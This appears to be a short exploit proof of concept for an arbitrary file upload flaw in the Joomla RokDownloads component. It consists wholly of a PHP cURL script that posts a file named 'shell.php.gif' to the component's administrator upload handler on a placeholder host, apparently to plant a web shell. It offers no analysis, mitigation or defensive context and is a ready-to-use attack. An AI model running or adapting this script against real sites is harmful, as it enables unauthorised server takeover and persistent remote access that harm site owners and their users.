com_rockdownloads Arbitary File Upload

<?php
$uploadfile="shell.php.gif";
$ch =
curl_init("http://www.exemple.com/administrator/components/com_rokdownloads/assets/uploadhandler.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>